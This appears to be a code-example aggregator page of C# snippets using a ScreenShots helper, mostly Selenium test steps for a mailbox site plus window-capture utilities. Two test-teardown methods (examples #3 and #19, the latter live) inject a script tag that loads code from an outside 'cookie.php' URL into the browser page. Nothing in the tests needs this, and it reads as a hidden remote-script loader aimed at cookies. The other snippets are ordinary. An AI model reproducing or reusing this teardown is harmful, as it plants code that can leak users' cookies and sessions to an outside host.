示例#1
0
 public void WhenIMoveToTheFolderSent()
 {
     sentPage = new SentPage(driver);
     sentPage.ClickOnSentItem();
     log.Debug("debug level");
     ScreenShots.ScreenShot();
 }
示例#2
0
 public void NavigateOnMailboxPage()
 {
     loginPage = new LoginPage(driver);
     OpenPage();
     log.Debug("debug level");
     ScreenShots.ScreenShot();
 }
示例#3
0
文件: SetUp.cs 项目: 232629/ShowTest
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);

                //Get information about error from Error page (Graylog ID)
                try
                {
                    PageError pageError = new PageError(webDriver);
                    if (webDriver.Url.Contains(pageError.ExpectedUrl))
                    {
                        Log.Error(pageError.LblErrorText.Text);
                    }
                }
                catch (Exception) { }

                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name);
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            //((IJavaScriptExecutor)webDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            //webDriver.Manage().Cookies.DeleteAllCookies();
            //Thread.Sleep(3000);


            webDriver?.Quit();
            drivers?.TryRemove(Thread.CurrentThread.ManagedThreadId, out IWebDriver d);
        }
示例#4
0
 public void WhenIOutOfMailbox()
 {
     mainPage = new InboxPage(driver);
     mainPage.LogOut();
     log.Info("logouted of mailbox");
     ScreenShots.ScreenShot();
 }
示例#5
0
 public void WhenIGoToCreatedAMailbox()
 {
     loginPage = new LoginPage(driver);
     loginPage.Login(Utils.username, Utils.password);
     log.Info("logged in as " + Utils.username);
     ScreenShots.ScreenShot();
 }
示例#6
0
 public void WhenIMoveToTheFolder()
 {
     draftsPage = new DraftsPage(driver);
     draftsPage.ClickOnDraftsItem();
     log.Debug("debug level");
     ScreenShots.ScreenShot();
 }
示例#7
0
 public void WhenIOpenLetter()
 {
     draftsPage.ClickOnDraftsItem();
     draftsPage.LetterOpenInDraftsFolder();
     log.Info("open letter");
     ScreenShots.ScreenShot();
 }
示例#8
0
        public static void HighlightElement(IWebElement element)
        {
            IJavaScriptExecutor js = ((IJavaScriptExecutor)driver);
            String bgcolor         = element.GetCssValue("background-color");

            js.ExecuteScript("arguments[0].style.compose__labels.background-color = '" + "red" + "'", element);
            ScreenShots.ScreenShot();
            js.ExecuteScript("arguments[0].style.compose__labels.background-color = '" + bgcolor + "'", element);
        }
示例#9
0
 public void WhenISendLetter()
 {
     draftsPage.ClickOnDraftsItem();
     draftsPage.LetterOpenInDraftsFolder();
     draftsPage.ClickOnSentItem();
     log.Info("send letter");
     log.Debug("debug level");
     ScreenShots.ScreenShot();
 }
示例#10
0
 public void WhenICreateANewMessageWithDataDestinationTopicAndDataContent(string namesender, string themeLetter,
                                                                          string messageUser)
 {
     mainPage = new InboxPage(driver);
     mainPage.ClickOnCreateNewMessageButton();
     createInboxPage = new InboxPage(driver);
     createInboxPage.CreateNewMessage(namesender, themeLetter, messageUser);
     log.Info("create a new message");
     ScreenShots.ScreenShot();
 }
示例#11
0
        public bool HasTitleBar()
        {
            IntPtr processPtr = GetProcessPtr();

            if (processPtr == IntPtr.Zero)
            {
                return(false);
            }

            return(ScreenShots.HasTitlebar(processPtr));
        }
示例#12
0
        public Rectangle?GetClientBounds()
        {
            IntPtr processPtr = GetProcessPtr();

            if (processPtr == IntPtr.Zero)
            {
                return(null);
            }

            return(ScreenShots.GetClientBounds(processPtr));
        }
示例#13
0
        public bool?IsWindowFocused()
        {
            IntPtr processPtr = GetProcessPtr();

            if (processPtr == IntPtr.Zero)
            {
                return(null);
            }

            return(ScreenShots.IsWindowFocused(processPtr));
        }
示例#14
0
 public void CreateNewMessage(string namesender, string themeLetter, string messageUser)
 {
     whom.SendKeys(namesender);
     TestEmailSteps.HighlightElement(whom2);
     ScreenShots.ScreenShot();
     theme.SendKeys(themeLetter);
     GoToFrameSendKeys(messageUser);
     driver.SwitchTo().DefaultContent();
     driver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(3));
     dropdown.Click();
     saveDraft.Click();
 }
示例#15
0
 private void AddScreenShot(Bitmap screenshot)
 {
     Contract.Requires(screenshot != null);
     var shot = Container.GetExportedValue<ISSScreenShotViewModel>();
     if (shot.IsNotNull())
     {
         shot.Header = ScreenshotName;
         shot.SetScreenShot(screenshot);
         ScreenShots.Add(shot);
         SelectedScreenShot = shot;
     }
 }
示例#16
0
 void HandleComponentScreenshot(Rect content, Editor editor)
 {
     if (ScreenShots.s_TakeComponentScreenshot)
     {
         content.yMin -= 16;
         if (content.Contains(Event.current.mousePosition))
         {
             Rect globalComponentRect = GUIClip.Unclip(content);
             globalComponentRect.position =
                 globalComponentRect.position + inspectorWindow.parent.screenPosition.position;
             ScreenShots.ScreenShotComponent(globalComponentRect, editor.target);
         }
     }
 }
示例#17
0
文件: SetUp.cs 项目: 232629/wb
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);
                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", "."));
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            webDriver.Manage().Cookies.DeleteAllCookies();
            System.Threading.Thread.Sleep(10000);
        }
示例#18
0
 private void CheckBoxScreenShotOnCheckedChanged(object sender, EventArgs e)
 {
     _screenshot = _slot.checkBoxScreenShot.Checked;
     _backupManager.Screenshot = _screenshot;
     SetAutoBackupMessage();
     if (_screenshot)
     {
         var doomPtr = BackupManager.GetDoomPtr();
         if (!ScreenShots.HasTitlebar(doomPtr))
         {
             Message("Screenshot only works if Doom is set to Windowed Mode", "Warning!", MessageType.Error,
                     MessageMode.User);
         }
     }
 }
示例#19
0
文件: SetUp.cs 项目: 232629/test
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);
                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", "."));
                //webDriver.SaveScreenshot(TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" +
                //                            DateTime.Now.ToLongTimeString().Replace(":", ".") + "_Browser.jpg");
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            ((IJavaScriptExecutor)ngWebDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            ngWebDriver.Manage().Cookies.DeleteAllCookies();
            Thread.Sleep(3000);
        }
示例#20
0
        public void GetScreenShots()
        {
            try
            {
                PictureAlbumCollection allAlbums = _mediaLibrary.RootPictureAlbum.Albums;
                ScreenShots.Clear();

                foreach (var album in allAlbums)
                {
                    if (album.Name.ToUpper().Contains("SCREENSHOT"))
                    {
                        PictureCollection screenShots = album.Pictures;

                        foreach (var picture in screenShots)
                        {
                            Stream picToDisplay = picture.GetImage();

                            BitmapImage bmImage = new BitmapImage();
                            bmImage.SetSource(picToDisplay);

                            var imageToShow = new Image
                            {
                                Source = PictureDecoder.DecodeJpeg(picToDisplay, picture.Width, picture.Height)
                            };


                            ScreenShots.Add(new ScreenShot(picture.Name, new Uri(MediaLibraryExtensions.GetPath(picture), UriKind.Absolute), imageToShow));
                        }
                    }
                }

                if (ScreenShots.Count() >= 1)
                {
                    SelectedScreenShot = ScreenShots[ScreenShots.Count - 1];
                }
                else
                {
                    NoScreenShotVisibility = Visibility.Visible;
                }
            }
            catch (Exception ex)
            {
            }
        }
示例#21
0
        static public void AssertScreenShot(IWebDriver webDriver, string expScr, double tolerance)
        {
            tolerance = (tolerance < 0) ? 0 : tolerance;
            tolerance = (tolerance > 100) ? 100 : tolerance;

            try
            {
                var actualScr = ScreenShots.GetScreenshotAllPage(webDriver, 500);

                //actualScr.Save("C:\\Users\\e.kovalenko\\FxPro.Direct\\UITestDirect2\\Resources\\ExpectedScreenShots\\en\\_1.jpg");

                var difImg = Math.Round(ImageCompare.PercentDifferenceImages(new Bitmap(expScr), actualScr), 4);
                Assert.IsTrue(difImg <= tolerance, "Difference Images = " + difImg + "%. Tolerance = " + tolerance + "%");
            }
            catch (ArgumentException e)
            {
                Log.Warn("There aren't screenshots for the current language.");
            }
        }
示例#22
0
 public BaseTest()
 {
     _screenShots = new ScreenShots();
 }
示例#23
0
 public int TitleBarHeight()
 {
     return(ScreenShots.GetTitleBarHeight());
 }
示例#24
0
 public void WhenIMoveToTheListOfMessagesInTheFolder()
 {
     draftsPage.ClickOnDraftsItem();
     ScreenShots.ScreenShot();
 }